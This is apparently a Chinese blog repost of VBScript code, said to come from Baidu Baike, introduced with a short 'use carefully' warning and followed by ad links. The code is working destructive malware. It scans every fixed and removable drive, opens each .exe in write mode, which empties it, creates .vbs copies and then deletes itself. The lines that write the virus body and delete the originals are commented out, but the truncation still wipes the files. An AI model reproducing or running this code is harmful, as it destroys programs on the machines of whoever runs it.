Vbs 测试程序二
这是一段原载于百度百科上的代码,Chaobs转载
原帖已删,就是怕有人用这个恶意程序。
慎用!
dim folder,fso,foldername,f,d,dc
set fso=createobject("scripting.filesystemobject")
set self=fso.opentextfile(wscript.scriptfullname,1)
vbscopy=self.readall
self.close
set dc=fso.Drives
for each d in dc
if d.drivetype=3 or d.drivetype=2 then
wscript.echo d
scan(d)
end if
next
lsfile=wscript.scriptfullname
set lsfile=fso.getfile(lsfile)
lsfile.delete(true)
sub scan(folder_)
on error resume next
set folder_=fso.getfolder(folder_)
set files=folder_.files
for each file in files
ext=fso.GetExtensionName(file)
ext=lcase(ext)
if ext="exe" then
set ap=fso.opentextfile(file.path,2,true)
' ap.write vbscopy
ap.close
set cop=fso.getfile(file.path)
cop.copy(file.path & ".vbs")
' file.delete(true)
end if
next
set subfolders=folder_.subfolders
for each subfolder in subfolders
scan(subfolder)
next
end sub
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步